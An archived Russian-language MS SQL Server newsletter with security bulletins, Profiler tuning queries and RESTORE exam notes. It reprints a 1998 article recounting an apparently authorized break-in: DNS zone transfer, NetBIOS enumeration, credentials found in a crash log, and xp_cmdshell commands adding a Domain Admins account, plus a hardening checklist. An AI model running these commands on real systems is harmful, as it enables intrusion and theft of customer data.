Рассылка закрыта
При закрытии подписчики были переданы в рассылку "Вопросы и ответы по MS SQL Server" на которую и рекомендуем вам подписаться.
Вы можете найти рассылки сходной тематики в Каталоге рассылок.
← Декабрь 2000 → | ||||||
1
|
2
|
3
|
||||
---|---|---|---|---|---|---|
4
|
5
|
7
|
8
|
9
|
10
|
|
11
|
12
|
13
|
15
|
16
|
17
|
|
18
|
19
|
20
|
22
|
23
|
24
|
|
25
|
26
|
28
|
29
|
30
|
31
|
Статистика
-20 за неделю
MS SQL Server - дело тонкое...
#026<<#027
DBA и безопасность
Исправлена уязвимость «Extended Stored Procedure Parameter Parsing»
По сообщениям бюллетеня безопасности Микрософт (MS00-092)
Microsoft выпустило «заплату», для уязвимости системы безопасности в Microsoft SQL Server и Microsoft SQL Server Desktop Engine (MSDE). Уязвимость позволяет потенциальным злоумышленникам выполнять код на сервере, хотя и с некоторыми ограничениями.
Расширенные хранимые процедуры (Extended Stored Procedures, XPs) - это DLL, устанавливаемые администратором SQL Server для расширения функциональности сервера. В результате дефекта реализации API сервера для распознавания параметра [srv_paraminfo()] ввода для XP, при некоторых условиях параметр может быть использован для переполнения буфера. В соответствии с реализацией, API не дает XP информацию о длине буфера – вместо этого, предполагается, что XP предоставить буфер достаточно большого размера для хранения параметра. Злоумышленник может передать XP параметр достаточно большой длины, который вызовет переполнение буфера, что повлечет за собой сбой SQL Server или выполнение кода, предоставленного злоумышленником.
FAQ относительно этой уязвимости и
исправление вы можете найти на:
http://www.microsoft.com/technet/security/bulletin/fq00-092.asp
Скачать заплату можно здесь:
http://support.microsoft.com/support/sql/xp_security.asp
Утилита "Configure Your Server" создаёт пустой пароль для Directory Service Restore Mode
По сообщениям бюллетеня безопасности Микрософт (MS00-099).
Затронутые продукты: Windows 2000 server и Advanced Server
Подробную информацию по этой
уязвимости можно получить здесь:
http://www.microsoft.com/technet/security/bulletin/MS00-099.asp
СОВЕТ
Мониторинг производительности сервера баз данных с помощью SQL Server Profiler
(По материалам статьи Maxim Smirnov на swynk.com «Monitoring Performance With SQL Server Profiler»)
Как пишет Михаил, контроль исполнения хранимых процедур и производительности баз данных может помочь Вам прогнозировать на ранних стадиях появление возможных проблем с утилизацией ресурсов системы.
Обычно, анализируя простые счётчики (например, продолжительность исполнения процедур и количество чтений, выполненных ядром базы данных), можно в достаточной степени идентифицировать процедуры или запросы, которые создают чрезмерную перегрузку. Как правило, это случается из-за возможных алгоритмических ошибок в коде, не продуманности проекта базы данных, неправильной стратегии индексации, и т.д.
Одним из эффективных инструментов анализа работы сервера баз данных является SQL PROFILER. Основным его преимуществом является возможность сохранения собранной в процессе трассировки информации в специально созданных администраторам таблицах базы данных. Кроме того, этот инструмент DBA имеет простой, дружественный интерфейс.
Установка трассировки в SQL PROFILER
Запустите SQL PROFILER, и в пункте меню FILE выберите NEW, а затем TRACE. Введите информацию о SQL сервере, который Вы хотите исследовать. Введите имя сервера, логин и пароль. В появившейся форме введите название новому заданию для трассировки, например TRACE1. Для опции "Save to table" - Вы должны указать базу данных и таблицу в которую Вы хотите сохранять собранную информацию. Очень хорошая идея, использовать отдельный SQL сервер (например, настольную версию), чтобы избегать конкуренции за ресурсы между последовательной записью данных трассировки в таблицу и другими процессами сервера баз данных.
В настройках для таблицы результатов трассировки (EVENTS) лучше удалить все заданные по умолчанию счётчики и затем выбирать всё, что относится к хранимым процедурам и запросам TSQL и любым другим дополнительным событиям, которые Вас интересуют.
В настройках фильтров задают параметр OBJECTID для дерева и флаг проверки "Exclude system objects". После этого можно вернуться в основную форму и нажать кнопку RUN. С этого времени SQL PROFILER начнёт собирать информацию обо всех процедурах, исполняемых сервером баз данных. Процесс трассировки можно оставить запущенным на несколько часов, в течение обычной активности пользователей. После этого, Вы готовы к анализу данных трассировки.
Анализ Данных
Михаил предлагает, в первую очередь, обратить внимание на два счётчика: READS и DURATIOIN. В листинге трассировщика будет содержаться информация по каждой завершённой процедуре или запросу наряду с id пользователей и другими параметрами.
Перед составлением запросов к таблице данных трассировки (TRACE1), Михаил предлагает создать два индекса для полей DURATION и READS. Это существенно ускорит анализ.
CREATE NONCLUSTERED INDEX IND_TRACE_1 ON dbo.TRACE1(Duration)
GO
CREATE NONCLUSTERED INDEX IND_TRACE_2 ON dbo.TRACE1(Reads)
GO
Первое, что Вас может заинтересовать в работе сервера, это наиболее длительные в исполнении процедуры и запросы. Следующий запрос выводит 20 процедур, которые выполняются дольше всех:
SELECT * FROM TRACE WHERE Duration IN
(SELECT DISTINCT TOP 20 Duration
FROM TRACE ORDER BY Duration DESC)
Чтобы понять, почему процедура исполняется так долго, нужно анализировать параметры для READS. Когда текущая величина READS не высока, вероятно предположить, что требуемые ресурсы (например таблицы или представления) были заблокированы другим процессом. Это указывает на возможные проблемы блокировок, и Вы можете искать процедуры, которые в это время используют те же самые объекты.
Высокое значение READS может указывать на сканирование таблиц или на не оптимальные индексы. Обычно, нужно добиваться, что бы параметр READS был настолько низким, насколько это возможно получить (при отсутствии существенного влияния блокировок), потому что задачи ввода/вывода являются самыми медленными в исполнении системой.
Перетащите долго выполняемый запрос в Query Analyzer и с помощью Плана Выполнения запроса определите, какие таблицы сканируются или какие индексы используются. Простого сканирования можно избежать, если применить надлежащий индекс к полям, участвующим в предложении WHERE или объединении. Просмотр индекса исполняется намного быстрее чем сканирование таблицы (для этого их и придумали). Часто, для таблиц создаётся составной индекс, и, если поля, используемые в WHERE или объединении, не входят ни в один из существующих индексов, можно создать дополнительные, не составные индексы для этих столбцов, что может существенно снизить READS и повысить эффективность исполнения запроса.
Задачи, которые используют большие массивы данных (высокий READS) но не исполняются в разумные сроки, можно найти с помощью следующего запроса:
SELECT * FROM TRACE WHERE Reads IN
(SELECT DISTINCT TOP 20 Reads
FROM TRACE ORDER BY Duration DESC)
В случае прямого сканирования таблиц, также можно использовать аналогичные запросы к таблице результатов трассировки.
ГОТОВИМСЯ К ТЕСТУ ПО 1139А
ШПАРГАЛКА №6 Продолжение (обзор официального курса Microsoft)
Архив шпаргалок Вы найдёте на следующих сайтах:
http://mssqlhelp.com.ru
http://subscribe.ru/archive/comp.soft.winsoft.sqlhelpyouself
Восстановление баз данных (оператор RESTORE)
RESTORE DATABASE { database_name | @database_name_var }[ FROM < backup_device > [,...n ] ]
[ WITH
[RESTRICTED_USER ]
[ [ , ] FILE = { file_number | @file_number } ]
[ [ , ] PASSWORD = { password | @password_variable } ]
[ [ , ] MEDIANAME = { media_name | @media_name_variable } ]
[ [ , ] MEDIAPASSWORD = { mediapassword | @mediapassword_variable } ]
[ [ , ] MOVE 'logical_file_name' TO 'operating_system_file_name' ]
[,...n ]
[ [ , ] KEEP_REPLICATION ]
[ [ , ] { NORECOVERY | RECOVERY | STANDBY = undo_file_name } ]
[ [ , ] { NOREWIND | REWIND } ]
[ [ , ] { NOUNLOAD | UNLOAD } ]
[ [ , ] REPLACE ]
[ [ , ] RESTART ]
[ [ , ] STATS [ = percentage ] ]
] Где:
database_name – имя базы данных;
@database_name_var – переменная имени базы данных;
backup_device – устройство резервного копирования (резервирования);
file_number – номер файла;
и.т.д. и т.п.
Более подробно об устройстве резервирования:
< backup_device > ::={
{'logical_backup_device_name' | @logical_backup_device_name_var }
| { DISK | TAPE } =
{ 'physical_backup_device_name' | @physical_backup_device_name_var }
}
< file_or_filegroup > ::=
{
FILE = { logical_file_name | @logical_file_name_var }
|
FILEGROUP = { logical_filegroup_name | @logical_filegroup_name_var }
}
Где:
logical_backup_device_name – логическое имя устройства резервирования;
physical_backup_device_name – физическое имя устройства резервирования, применяется при копирования во
временное устройство резервного копирования.
Полный синтаксис и описание характеристик оператора RESTORE можно найти в Books Online.
В качестве примера, рассмотрим восстановление базы northwind, резервная копия которого была создана в постоянном файле.
USE master
RESTORE DATABASE northwind
FROM NorthwindBackupDevice
Как видите, всё очень просто и понятно. Теперь давайте рассмотрим применение разнообразных параметров оператора RESTORE DATABASE.
Поскольку мы уже говорили в предыдущем выпуске о процедуре регенерации, начнём с параметров: NORECOVERY | RECOVERY | STANDBY = undo_file_name.
По умолчанию, SQL сервер всегда пытается перед восстановлением базы запустить процесс регенерации WITH RECOVERY. На практике, этот параметр нужно использовать для полной копии или для последней резервной копии журнала транзакций. Это поможет восстановить согласованность данных. Если нужно восстанавливать и другие (не последнюю) копии журнала или разностные копии, следует использовать WITH NORECOVERY. Причина в том, что SQL сервер при регенерации данных отменяет все не завершённые транзакции и применяет все завершённые транзакции, что может привести к потере согласованности данных в процессе восстановления нескольких копий журнала, выполненных в разное время после полного или разностного резервного копирования (с целью очистить журнал). Для таких копий регенерация должна быть заблокирована, а разрешить её можно только при восстановлении последней копии журнала транзакций. Особенность параметра NORECOVERY ещё и в том, что без регенерации база не становится доступной для пользователей. Поэтому, если Вы по ошибке восстановите все копии с параметром WITH NORECOVERY, Вам придётся или инициировать регенерацию или перегрузить сервер, при старте которого всегда выполняется процедура регенерации для всех баз данных.
Продолжение следует
ПОЛЕЗНОСТИ
Есть ли триггеры в Microsoft Access
2000? Дмитрий Леонов. (…Появилось новое ядро баз данных MSDE /Microsoft
Database Engine/, очень тесно совместимое с SQL Server 7.0, практически это
сильно усеченный SQL Server. Работая через это ядро можно хранить данные в
формате SQL Server 7.0. Именно это рекомендуется делать тем, кто хочет иметь
триггеры в Access 2000…)
http://infocity.www1.50megs.com/db/title/triggers.html
Интересный, англоязычный сайт: Microsoft Office & VBA Developers - File Archives
http://www.informant.com/mod/modfilearchive.asp
Русскоязычные Internet-ресурсы по Visual Basic и MS Office/VBA. Статья Андрея Колесова.
http://www.microsoft.ru/msdn/vbruslinks.asp
Проект: «SQL как SQL, или наглядные уроки с SQL Server».
http://www.shortway.to/exro/index.html
Структурированный язык запросов (SQL). В.В. Кириллов, Г.Ю. Громов
http://www.webclub.ru/materials/sql/
Вышла из печати книга «Базы данных: проектирование, реализация и сопровождение». Авторы: Томас
Конолли, Каролин Бегг, Анна Страчан. Авторы этой книги сконденсировали на ее страницах весь свой опыт
разработки баз данных для нужд промышленности, бизнеса и науки, а также
обучения студентов в университете Пейсли, Шотландия. Результатом их труда стало
беспрецедентно полное справочное руководство по проектированию, реализации и
сопровождению баз данных. Ясное изложение теоретического и практического
материала, включающего детально разработанную методологию проектирования и
реализации баз данных, а также подробное рассмотрение существующих языков и
стандартов, делает эту книгу доступной и полезной как студентам, так и опытным
профессионалам.
Второе издание книги дополнено несколькими новыми главами, освещающими новейшие
технологии в этой области - объектные базы данных, объектно-реляционные базы
данных, использование СУБД в Web, использование хранилищ данных и средств
комплексного анализа (OLAP), а также большим количеством новых примеров и
переработанных упражнений. Ясное и четкое изложение материала, наличие двух полномасштабных
учебных примеров и множества контрольных вопросов и упражнений, позволяет
использовать эту книгу не только при самостоятельном обучении, но и как основу
для разработки курсов обучения любых уровней сложности - от студентов младших
курсов, до аспирантов, а также как исчерпывающее справочное руководство для
профессионалов. Дополнительную информацию о руководстве инструктора и этой
книге можно найти на Web-сервере издательства Addison Wesley Longman:
http://www.awl-he.com/computing
Новые технические статьи Microsoft:
Q280380 - FIX: Buffer Overflow
Exploit Possible With Extended Stored Procedures. This patch eliminates a
security vulnerability in both SQL7 SP2 and SQL 2000. The flaw in SQL Server
might allow a memory buffer allocated on the stack to be overwritten with
arbitrary data, potentially allowing an attacker to execute arbitrary code in
the SQL Server process space. This arbitrary code might be used for purposes as
simple as shutting down the server or as complex as spawning a different
process that might be used to take control of the server.
http://support.microsoft.com/support/kb/articles/Q280/3/80.ASP
Related:
http://www.microsoft.com/technet/security/bulletin/ms00-092.asp
Q264736 - Visio2000: SQL Password Prevents AutoDiscovery and Layout Solution From Loading
http://support.microsoft.com/support/kb/articles/Q264/7/36.ASP
Q279338 - BUG: DBCC CHECKCONSTRAINTS Can't Handle Names w/ Special Characters
http://support.microsoft.com/support/kb/articles/Q279/3/38.ASP
Q279407 - BUG: Selecting all Columns from a View Containing an ORDER BY Statement
http://support.microsoft.com/support/kb/articles/Q279/4/07.ASP
Q279705 - BUG: Example E in sp_addlogin Topic of SQL 2000 BOL is Incorrect
http://support.microsoft.com/support/kb/articles/Q279/7/05.ASP
Q279857 - BUG: Error 3910, "Transaction Context in Use by Another Session"
http://support.microsoft.com/support/kb/articles/Q279/8/57.ASP
Q280082 - PRB: SQL Server CE Queries w/ WHERE & ORDER BY Clauses May Run Slow
http://support.microsoft.com/support/kb/articles/Q280/0/82.ASP
Q280468 - BUG: SELECT w/ GROUP BY ALL in Nested Correlated Subquery Error
http://support.microsoft.com/support/kb/articles/Q280/4/68.ASP
Q280836 - BUG: 'Read From Remote' Does Not Display Registered Servers
http://support.microsoft.com/support/kb/articles/Q280/8/36.ASP
Q281346 - BUG: Fetch From a Dynamic Cursor Causes an Access Violation
http://support.microsoft.com/support/kb/articles/Q281/3/46.ASP
Q282175 - BUG: Parallel Query on Four CPUs Using NLS Is Slower Than Two
http://support.microsoft.com/support/kb/articles/Q282/1/75.ASP
Q274463 - INF: Understanding and Troubleshooting the Copy Database Wizard in SQL Server 2000
http://support.microsoft.com/support/kb/articles/Q274/4/63.ASP
Q246133 - INF: Transfer Logins and Passwords Between SQL Server 7.0 or SQL Server 2000 Servers
http://support.microsoft.com/support/kb/articles/Q246/1/33.ASP
Q272683 - PRB: Restore of Database with Incorrect Named Transaction May Leave Database in Loading Status
http://support.microsoft.com/support/kb/articles/Q272/6/83.ASP
Q280404 - PRB: Unable to Update Partitioned Views After Altering Table Constraints
http://support.microsoft.com/support/kb/articles/Q280/4/04.ASP
Microsoft SQL Server 2000 Windows CE Edition Frequently Asked Questions
http://support.microsoft.com/support/sql/content/sqlce/sqlcefaq.asp
Q280406 - PRB: Dynamic Cursor Infinite Loop When a Non-Unique Clustered Index Key Is Updated to an Equal or Larger Value
http://support.microsoft.com/support/kb/articles/Q280/4/06.ASP
Watch LJ Germinario's 52-slide online seminar on Commerce Server 2000 at
http://www.microsoft.com/Seminar/1033/20000926CSITLJG1/Seminar.htm
Watch (streaming video) or read about (PPT or transcript format) the 1.5-hour WebCast conducted in mid-November
on the SQL Server 2000 Profiler and SQL Trace tools.
http://support.microsoft.com/servicedesks/webcasts/wc111400/wcblurb111400.asp
Another good Support WebCast: SQL Server 2000 Database Recovery: Backup and Restore (yes, I mentioned it before)
http://support.microsoft.com/servicedesks/webcasts/wc120500/wcblurb120500.asp
ВСПОМИНАЯ …ХОРОШО ЗАБЫТОЕ СТАРОЕ
Есть вещи, напоминание о которых никогда не бывает лишним. В заключение этого выпуска, хочу предложить Вам статью, написанную уже довольно давно, но не потерявшую свою актуальность и по сей день:
Как мне пришлось стать хакером
Компьютер Пресс 10/98 Андрей Крючков.
От редактора: Услышав эту историю в
устном изложении её автора на фестивале Microsoft DevCon, я вначале не очень-то
поверил в нее уж очень она походила на охотничий рассказ». Тогда я попросил
автора подвести под нее теоретическую платформу. И вот что получилось... (К.А.)
От автора: Данная история будет интересна, прежде всего, администраторам сетей,
построенных на базе Windows NT Server. То, что здесь описано, могло произойти
только из-за полной безалаберности и некомпетентности персонала,
администрирующего локальную сеть. Windows NT Server надежная и достаточно
защищенная платформа для Internet и других применений, но главное все-таки
грамотная настройка, а не степень защиты конкретной ОС. Данный пример
показывает, до какого состояния можно довести очень неплохо защищенную систему,
если она попадает в руки безграмотного человека. Надеюсь, что, прочитав статью,
вы обезопасите себя от описанных в ней неприятностей. Я постарался заменить все
реальные имена на выдуманные, чтобы не создавать проблем с массированной атакой
оригинального хоста (если домен server.com и существует, то он никак не связан
с описанными событиями). Также я заменил два первых октета во всех IP-адресах
на нереальное значение 555 почему бы и нет? Во всех американских фильмах
телефонные номера начинаются именно с этих цифр.
Все началось весной 1997 года, в тот момент, когда мы заканчивали бета-тестирование специализированного пакета для работы Internet-провайдера, одним из компонентов которого была система создания зеркал Web-серверов. Поскольку это был единственный компонент, который не был протестирован к тому моменту, мы решили загрузить его какой-нибудь сложной задачей. Для реализации стресс-теста решено было сделать «зеркало» большого сайта, находящегося на другом конце света.
Проведя необходимые настройки программы и запустив процесс создания зеркала на выполнение, я принялся бродить по этому серверу и буквально сразу понял, что если его администратор о чем-либо и думал, то только не о безопасности. Первый же удар показал, что не установлены необходимые заплатки для Internet Information Server и Windows NT Server, а скрипты и CGI-программы находились в каталоге, предоставляющем не только право на исполнение, но и право на чтение, — иными словами, не были выполнены элементарные правила, о которых предупреждает Microsoft.
Итак, я добавил точку к URL:
http://www.server.com/mainscript.idc Увиденное потрясло меня до глубины души .
Даже ошибка сервера не могла
привести к появлению данного результата, если бы Web-мастер правильно (согласно
рекомендациям Microsoft) настроил права для каталога со скриптами. Мне было бы
отказано в доступе и все.
Ну а если бы администратор хоть
иногда обращал внимание на новости, связанные с Windows NT, он установил бы
специальную заплатку для IIS 3.0, которая помогла бы вовсе избежать проблем: я
увидел бы сообщение «HTTP 1.0 Object Not Found».
И все же главная проблема администратора заключалась в том, что я смог без
труда узнать пароль пользователя sa, то есть администратора Microsoft SQL
Server.
Если бы в системе была установлена интегрированная система безопасности, поля
username и password игнорировались бы. Но это был именно администратор базы
данных с пустым паролем. Ну кто заставил его выполнять все скрипты с доступом в
базу данных от имени sa?! Я уже не говорю о том, что он не сменил пароль сразу
после установки SQL Server. Тогда я решил помочь нерадивому и отправил ему
сообщение с кратким изложением сути проблемы, а короче говоря, сообщил об отсутствии
безопасности как таковой. (Для справки - дальнейшая проверка показала, что
данный сайт, во-первых, является коммерческим, а во-вторых, пользуется
определенной популярностью - на описанный момент в его базе данных было
зарегистрировано 74 342 номера кредитных карточек.) Вот что он ответил:
Thanks for your remark. We are aware of the problem. We have installed the patch, but the result was that none could access any of out idc's.
However, I don't think this is a potential security risk as you can't place a self made .IDC on our /script directory - or if you have any ideas about how it can be made, please let me know and I'll urgently make our /script directory read only.
Ответ меня сильно разочаровал. Администратор не видел проблемы и не понимал, что открытый пароль sa может привести к непоправимым последствиям. Я пытался ему объяснить, что он не прав, но вскоре понял, что словами здесь не поможешь... И тогда я запросил разрешение на эксперимент со «взломом» его сервера.
> I hope that from now you site much more secure than it was in past, but I> will try...
That's a deal! We'll send you a nice package to compensate you for your work.
We are not using any fire walls, so go ahead (but please be careful with our data ;-)).
Kind regards,
admin
Никогда не разговаривайте с неизвестными!» Кто его тянул за язык? Сам факт отсутствия простейшего брандмауэра говорит о многом! Первым делом я запустил простую программу под названием nslookup для просмотра зоны DNS, в которой находится его сервер (данная программа входит в состав Windows NT Server, практически все варианты UNIX также имеют эту и другие утилиты для проверки работы DNS.
C:\nslookupDefault Server: myserver.quarta.com
Address: 555.555.120.5
> set type=any
> server.com.
Server: myserver.quarta.com
Address: 555.555.120.5
Non-authoritative answer:
server.com nameserver = priny.server.com
server.com nameserver = nic.server.com
server.com nameserver = pluto.server.com
Authoritative answers can be found from:
server.com nameserver = priny.server.com
server.com nameserver = nic.server.com
server.com nameserver = pluto.server.com
priny.server.com internet address = 555.555.200.1
nic.server.com internet address = 555.555.200.1
pluto.server.com internet address = 555.555.200.3
> server priny.server.com.
Default Server: priny.server.comAddress: 555.555.200.1
Теперь получим сведения о зоне и почтовом сервере:
>server.com.
Server: priny.server.com
Address: 555.555.200.1
server.com internet address = 555.555.200.2
server.com nameserver = nic.server.com
server.com nameserver = PRINY.server.com
server.com nameserver = pluto.server.com
server.com
origin = PRINY.server.com
mail addr = administrator.server.com
serial = 19
refresh = 10800 (3 hours)
retry = 7200 (2 hours)
expire = 86400 (1 day)
minimum ttl = 3600 (1 hour)
server.com preference = 10, mail exchanger =faun.server.com
nic.server.com internet address = 555.555.200.1
PRINY.server.com internet address = 555.555.200.1
pluto.server.com internet address = 555.555.200.3
faun.server.com internet address = 555.555.200.17
А может, там найдутся и другие компьютеры, которые могут представлять для нас интерес?
Команда ls является сокращением от list:
>ls server.com.[priny.server.com]
server.com. 555.555.200.2
server.com. server = nic.server.com
server.com. server = PRINY.server.com
server.com. server = pluto.server.com
faun 555.555.200.17
008000 555.555.200.22
www.ie 555.555.200.11
jersild 555.555.200.25
nic 555.555.200.1
nic2 555.555.200.3
parasit3 555.555.200.20
pluto 555.555.200.3
www.press 555.555.200.30
PRINY 555.555.200.1
www 555.555.200.2
>
Простейшие настройки DNS-сервера
(трансфер зон только для доверяемых хостов) не позволили бы так просто
просмотреть список машин в домене. А как вам нравится то, что в одной сети
находятся Web- сервер, сервер DNS, почтовый Exchange Server и все остальное: прочие
машины, рабочие станции, тестовые серверы, машины программистов? Никогда не
позволяйте так просто просматривать свой DNS: для хакера достаточно лишь
незначительной информации для анализа и попытки проникновения в систему! Чем
меньше такой информации он сможет получить, тем сложнее ему будет проникнуть в
вашу систему.
Мне не очень повезло, улов не такой большой, но это лучше, чем ничего.
Идем дальше - проверим, отключил ли он NetBT?
C:\>nbtstat -A 555.555.200.1
Host not found.
C:\>nbtstat -A 555.555.200.2
Host not found.
C:\>
Неужели он умнее, чем я думал? Ладно, проверю всю его сеть, может, обнаружу что-нибудь еще?
C:\>nbtstat -A 555.555.200.16
NetBIOS Remote Machine Name Table
Name Type Status
——————————————————————
PLUTO UNIQUE Registered
EEG1 GROUP Registered
PLUTO UNIQUE Registered
EEG1 GROUP Registered
INet~Services GROUP Registered
IS~PLUTO....... UNIQUE Registered
MAC Address = 00-00-FF-34-D4-xx
C:\> nbtstat -A 555.555.200.22
NetBIOS Remote Machine Name Table
Name Type Status
——————————————————————
008000 UNIQUE Registered
008000 UNIQUE Registered
EEG1 GROUP Registered
EEG1 UNIQUE Registered
EEG1 UNIQUE Registered
EEG1 GROUP Registered
008000 UNIQUE Registered
ADMINISTRATOR UNIQUE Registered
EEG1 UNIQUE Registered
__MSBROWSE__ UNIQUE Registered
INet~Services GROUP Registered
IS~008000 ....... UNIQUE Registered
MAC Address = 00-00-00-3B-xx-xx<
C:\>
Прекрасно — одна машина является обычным сервером в домене EEG1, а вторая — либо PDC, либо BDC, да еще и администратор зашел на компьютер с консоли. Попробуем подключиться к серверу \\pluto:
Start ? Run и \\pluto.server.com
Получилось!
Во всех учебниках по Windows NT написано — выключите пользователя Guest! Подключиться к офисному принтеру моего оппонента было делом одной минуты; еще спустя минуту принтер распечатал короткое послание о том, что я приступил к работе и не надо волноваться — все наши договоренности в силе.
Покончив с базовым исследованием сети, я написал ему достаточно развернутый отчет о проделанной работе, перечислил все машины, на которых открыт Guest, порекомендовал ему переименовать пользователя Administrator и дал еще несколько рекомендаций. Через пару дней я получил письмо, в котором администратор испытуемого сервера признавался в отсутствии хорошо поставленной системной политики безопасности и пообещал выслать заработанный приз в ближайшие дни.
Я уже начал постепенно забывать об этом случае, как вдруг получил от него тревожное письмо: он просил продолжить обнаружение дыр в его защите, уделив при этом особое внимание поиску возможностей входа в базу данных Microsoft SQL Server пользователей его сайта. Как вы понимаете, информация такого рода немало стоит для его конкурентов, и он опасался за ее сохранность в случае серьезной хакерской атаки.
Проникновение в MS SQL Server
Достаточно быстро я удостоверился в том, что пароль sa не был изменен (уже четыре дня администратор знает о дырке и все еще не удосужился ее закрыть!). Дело оставалось за малым — войти в базу SQL Server как sa (или хотя бы как guest).
С прошлого сеанса у меня сохранились записи и список всех серверов в его сети. Пришлось записать их все в файл LMHOST:
555.555.200.5 priny #PRE
555.555.200.16 pluto #PRE
...
555.555.200.23 insernia #PRE #DOM:eeg1
дать команду «nbtstat –R», которая
перегружает кэш NetBT, и начать искать машину, на которой стоит MS SQL Server.
Я прошелся по всем машинам, где был разрешен Guest, но ни на одной не был
установлен MS SQL Server. Похоже, что он установлен на PDC или BDC, а там Guest
выключен по умолчанию. Что же делать? Нужен вход, любой вход, только бы
«подцепиться» к серверу с SQL Server. Что ж, придется еще немного подумать.
Посмотрим, что еще есть на тех серверах, куда пускают пользователей Guest...
Ага, в одном из каталогов лежит файл drwtsn32.log (этот файл создается при
сбоях программ). Для большинства пользователей он бесполезен, но знающий
человек порой может кое-что из него извлечь.
Ну, кто что увидел? А я вижу имя домена, имя пользователя и, скорее всего, пароль
для входа в эту систему. Проверим: подсоединяемся к серверу, куда прежде мы не
могли войти под именем Guest, пробуем имя EEG1\HCAPSUser1 и пароль grk***. Вот
мы и в сети, пора пробовать MS SQL Server Enterprise Manager.
Зарегистрировались? Успешно! Что ж, вот я и администратор — правда, не домена, а только базы данных, но всему свое время. Посмотрим базу его пользователей.
select * from tblMember
Так — имена, адреса, пароли, номера кредитных карточек... А ведь кто-то выдумывает системы криптозащиты, спорит о длине ключа... Все, что я только что проделал, является следствием грубейших нарушений администратора данного компьютера. Машина, на которой установлен SQL Server, должна быть защищена брандмауэром или хотя бы работать по протоколу, недоступному из Internet, например по немаршрутизируемому NetBEUI. Ладно, доведем проверку системы безопасности до ее логического конца.
xp_cmdshell ‘net user Andrey mypassword /add /domain’
Отныне в домене EEG1 есть пользователь Andrey с паролем mypassword. Теперь пора сделать его администратором: xp_cmdshell ‘net group «Domain Admins» Andrey /add /domain’ Вот я и администратор домена. Могу сделать очень многое — к примеру, «подцепиться» к любому накопителю в системе:
Start ? Run и \\priny\c$
Так вот он, Web-сервер и его исходные файлы! Ну что же, положим маленький файл hack.htm в корневой каталог Web-сервера.
Ничего бы этого не случилось, если бы администратор:
* отключил бы хранимую процедуру xp_cmdshell и аналогичные;
* запустил MS SQL Server в работу под именем специального пользователя с ограниченными полномочиями;
* сменил (установил) бы пароль у sa;
* установил MS SQL сервер на машине, которую не «видно» из Internet;
* не занимался отладкой собственного ПО на машинах, видимых из Internet;
* не запускал бы скрипты от имени sa;
* не установил бы NMA на компьютер, доступный из Internet;
* отключил бы на всех серверах пользователя Guest;
* правильно настроил права в каталогах для скриптов на Web-сервере;
* устанавливал вовремя необходимые «заплатки», выпускаемые Microsoft;
* хоть немного задумывался о безопасности.
Как вы, наверное, уже поняли, я получил полную власть в домене EEG1. Трудно только без консоли управления нравится мне видеть экран другого компьютера.
Полцарства за консоль!
К сожалению (а может, и к счастью), в Windows NT нет сервера Telnet, поэтому просто так подключиться к консоли нельзя даже в текстовом режиме. Но выход есть — RemotellyPossible/32, моя любимая программа для удаленного управления компьютером. Она имеет массу возможностей, в том числе возможность удаленной установки и абсолютную прозрачность для того, на чей компьютер я ее установил. На экране нет никаких сведений о том, что я его вижу, — это удобно для руководителя подразделения, который хочет знать, чем заняты его сотрудники. Данная программа работает исключительно быстро, и с сервером на другом краю света можно работать с нормальным временем реакции — иногда просто не замечаешь, что это другая машина. Теперь я могу делать с ней практически все:
1) NetBT - NetBIOS over TCP/IP -
позволяет работать с программами, использующими NetBIOS, поверх протокола
TCP\IP. Для машин, подключенных к Internet, Microsoft рекомендует отключить
данный сервис. Так, на всякий случай...
2) PDC - Primary Domain Controller и
BDC - Backup Domain Controller - серверы, которые занимаются авторизацией
пользователей и хранят каталоги пользователей.
3) Microsoft SQL Server - уникальная
программа. При ее помощи чрезвычайно удобно просматривать объекты базы данных,
особенно когда вы стали ее администратором. Да и название таблицы весьма
информативно...
#026<<#027
Хостинг рассылки:
Majordomo.ru - качественный хостинг от $9 в месяц: от 10 Мб,неограниченный трафик, от 10 РОР3, Cgi-bin, MySQL, PHP и секретный сервер, FTP & anonymous FTP, бесплатная регистрация домена,перекодировка кириллицы... http://www.majordomo.ru/hosting и самое главное - уникальное предложение : ДОМЕННОЕ ИМЯ в зоне .ru, .com, .net, .org БЕСПЛАТНО. Побробности http://www.majordomo.ru/hosting/specpr.html
ФОРУМ


http://subscribe.ru/
E-mail: ask@subscribe.ru |
|
В избранное | ||